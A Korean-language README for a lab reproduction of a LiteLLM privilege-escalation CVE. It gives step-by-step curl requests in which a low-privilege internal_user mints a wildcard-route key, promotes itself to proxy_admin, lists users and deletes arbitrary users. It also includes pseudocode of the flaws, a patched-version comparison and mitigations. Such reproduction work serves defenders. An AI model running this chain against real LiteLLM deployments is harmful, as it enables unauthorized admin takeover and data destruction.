
해당 취약점을 개인적으로 재현하기 위한 코드
/key/generate + /user/updateLiteLLM v1.82.6(v1.83.14 미만)의
/key/generate엔드포인트는 낮은 권한의internal_user가 와일드카드 라우트["/*"]를 가진 API key를 요청할 수 있게 하며, 이후/user/update엔드포인트를 통해 자신의 역할을proxy_admin으로 승격시켜 권한 없는 권한 상승을 수행할 수 있습니다.
| Field | Value |
|---|---|
| CVE | CVE-2026-47101 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) |
| Affected | LiteLLM < 1.83.14(v1.82.6에서 확인됨) |
| Fixed | v1.83.14+(allowed_routes 역할 검증 추가) |
| Published | 2026-05-21 |
| Discovered by | Fenix Qiao (13ph03nix) — Obsidian Security |
| Links | NVD |
LiteLLM의 /key/generate 엔드포인트는 API key 생성에 사용되고, /user/update는 사용자 속성 업데이트에 사용됩니다.
이 두 엔드포인트의 권한 부여 검사에는 세 가지 연속적인 결함이 있으며, 낮은 권한의 사용자가 연쇄적으로 악용할 수 있습니다:
/key/generate가 allowed_routes를 검증하지 않음 — 모든 역할( internal_user 포함)이 ["/*"] 와일드카드 라우트를 요청할 수 있음allowed_routes 와일드카드 매칭으로 대체됨 — 생성된 와일드카드 key가 모든 관리 엔드포인트에 접근 가능/user/update가 user_role 필드 자체 수정을 허용함 — 와일드카드 key를 사용하여 자신의 역할을 proxy_admin으로 승격 가능internal_user
→ POST /key/generate {"allowed_routes": ["/*"]}
→ 와일드카드 API key 획득
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"}
→ 역할이 proxy_admin으로 승격됨
→ GET /user/list (와일드카드 key 사용)
→ 관리자 접근 권한 확인
# 1. PostgreSQL + 취약한 LiteLLM (v1.82.6, digest 고정) 시작
docker compose up -d litellm
# 서비스 준비 대기 (약 10-30초)
sleep 15
# 컨테이너 로그 확인
docker logs litellm-privesc 2>&1 | tail -10
예상 출력에는 Uvicorn running on http://0.0.0.0:4000 등 시작 성공 로그가 포함되어야 합니다.
master key를 사용하여 낮은 권한의 internal_user 계정을 생성합니다:
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
예상 출력:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
반환된 user_id와 key를 기록해두십시오. 이후 단계에서 필요합니다.
internal_user로 /key/generate를 호출하여 ["/*"] 와일드카드 라우트가 있는 API key를 요청합니다:
# sk-internal-user-key를 이전 단계에서 얻은 key로 교체
curl -s -X POST http://localhost:4000/key/generate \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
예상 출력:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}
⚠️ 취약점:
internal_user가["/*"]와일드카드 라우트가 있는 API key를 성공적으로 생성했습니다! 이 key는/user/update,/user/list등 모든 관리 엔드포인트에 접근할 수 있습니다.
와일드카드 라우트 key를 사용하여 /user/update를 호출하고 사용자 역할을 proxy_admin으로 승격시킵니다:
curl -s -X POST http://localhost:4000/user/update \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
예상 출력:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ 취약점:
user_role이internal_user에서proxy_admin으로 변경되었습니다!/user/update엔드포인트는 사용자가 자신의user_role필드를 수정하는 것을 허용하며, 어떤 권한 제한도 없습니다.
/user/list 엔드포인트를 통해 역할 승격이 적용되었는지 확인합니다:
curl -s -X GET http://localhost:4000/user/list \
-H "Authorization: Bearer sk-wildcard-key"
예상 출력:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
/user/list엔드포인트는proxy_admin역할만 접근할 수 있습니다. 사용자 목록을 성공적으로 가져오면 권한 상승이 적용되었음을 확인할 수 있습니다.
획득한 proxy_admin 권한을 사용하여 /user/delete를 통해 임의 사용자를 삭제할 수 있습니다:
curl -s -X POST http://localhost:4000/user/delete \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
예상 출력:
1
위 단계는 demo.sh에 통합되어 있으며, 직접 실행할 수 있습니다:
# 전체 재현 (Step 1-5 포함)
bash demo.sh
# 수정 버전 비교 테스트도 함께
bash demo.sh --fixed
수정 버전(v1.83.14-stable)을 시작하여 취약점이 패치되었는지 확인합니다:
# 수정 버전 시작
docker compose --profile fixed up -d litellm-fixed
# 준비 대기
sleep 15
internal_user 생성:
FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}' | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
echo "Fixed user key: $FIXED_USER_KEY"
와일드카드 라우트 key 생성 시도 (차단 예상):
curl -s -X POST http://localhost:4001/key/generate \
-H "Authorization: Bearer $FIXED_USER_KEY" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
예상 출력 (수정 버전이 권한 없는 요청을 차단):
{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}
취약한 버전과 비교:
| 테스트 시나리오 | 취약한 버전 (v1.82.6) | 수정 버전 (v1.83.14) |
|---|---|---|
internal_user가 ["/*"] 요청 | ✅ 와일드카드 key 성공적으로 생성 |
POST /key/generate새로운 API key를 생성합니다. allowed_routes 매개변수는 key가 접근할 수 있는 엔드포인트 라우트 목록을 제한하는 데 사용됩니다.
| Field | Type | Required | Description |
|---|---|---|---|
allowed_routes | array | No | 허용된 라우트 목록, 예: ["/*"]는 모든 라우트를 의미 |
POST /user/update사용자 속성을 업데이트합니다. user_role 필드를 포함합니다.
| Field | Type | Required | Description |
|---|---|---|---|
user_id | string | Yes | 업데이트할 사용자 ID |
internal_user로서 /key/generate를 호출하여 ["/*"]가 있는 key를 요청합니다:
POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json
{"allowed_routes": ["/*"]}
응답에는 와일드카드 라우트 권한이 있는 새 API key가 포함됩니다.
와일드카드 key를 사용하여 /user/update를 호출합니다:
POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
GET /user/list
Authorization: Bearer sk-wildcard-key
취약점의 근본 원인은 세 가지 독립적인 권한 부여 검사 누락에 있습니다:
/key/generate — allowed_routes 역할 검증 누락/key/generate 엔드포인트는 allowed_routes 매개변수를 수락하고 이를 key와 직접 연결하며, 요청자의 역할을 검증하지 않습니다. internal_user조차도 관리자 수준의 라우트 권한을 요청할 수 있습니다.
# 취약한 의사 코드 — 역할 검증 없음
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
# API key 유효성만 확인
# user_role이 allowed_routes를 요청할 수 있는지 확인하지 않음
allowed_routes = params.get("allowed_routes", [])
new_key = create_key(user=user, allowed_routes=allowed_routes)
return {"key": new_key}
미들웨어는 라우트 권한을 확인할 때, 사용자 역할 기반 권한 검사가 실패하면 API key의 allowed_routes 목록으로 대체하여 확인합니다. ["/*"]는 모든 라우트와 일치하므로 모든 관리 엔드포인트가 허용됩니다.
# 취약한 의사 코드 — 라우트 검사 대체 로직
async def authorize_request(request, api_key):
# 사용자 역할 검사 실패 후 allowed_routes로 대체
if not user_role_authorized(request, api_key.user):
# allowed_routes 확인 — ["/*"]가 모든 것과 일치
if not any(match_route(route, request.path) for route in api_key.allowed_routes):
return HTTP_403
return HTTP_200
/user/update — user_role 자체 수정 허용/user/update 엔드포인트는 사용자 속성을 업데이트할 때 사용자가 자신의 user_role 필드를 수정하는 것을 허용하며, 제한이 없습니다. proxy_admin 역할만 사용자 역할을 수정할 수 있어야 합니다.
# 취약한 의사 코드 — user_role 수정 제한 없음
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
user_id = params.get("user_id")
updates = {}
if "user_role" in params:
updates["user_role"] = params["user_role"] # 권한 검사 없음!
update_user_in_db(user_id, updates)
return {"user_id": user_id, "data": updates}
수정 버전은 다음 세 가지 측면에서 권한 부여 검사를 추가했습니다:
/key/generate — allowed_routes 매개변수 검증 추가: 일반 사용자는 관리자 수준의 라우트 권한을 요청할 수 없음allowed_routes보다 우선하도록 보장/user/update — user_role 필드 수정 권한 제한: proxy_admin만 사용자 역할을 수정할 수 있음CVE-2026-47101/
├── README.md # 이 파일
├── CVE-2026-47101_漏洞复现报告.docx # 재현 보고서 (중국어)
├── docker-compose.yml # PostgreSQL + 취약/수정 LiteLLM
├── config.yaml # 데이터베이스 연결이 포함된 LiteLLM 설정
├── requirements.txt # Python 의존성
├── demo.sh # 원클릭 재현 스크립트
├── exploit/
│ ├── exploit.py # Python 익스플로잇 스크립트
│ └── payload.py # 페이로드 빌더
├── docs/
└── screenshots/
allowed_routes에 최소 권한 원칙 적용/user/update 호출 모니터링 — user_role 변경이 있는 비정상 활동 감시면책 조항: 이 콘텐츠는 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다.
| ❌ 차단됨 (HTTP 403) |
| 와일드카드 key로 user_role 수정 | ✅ proxy_admin으로 성공적으로 승격 | ❌ 차단됨 |
| 와일드카드 key로 /user/list 접근 | ✅ 사용자 목록 성공적으로 획득 | ❌ 차단됨 |
user_role | string | Yes | 새 역할 (예: proxy_admin) |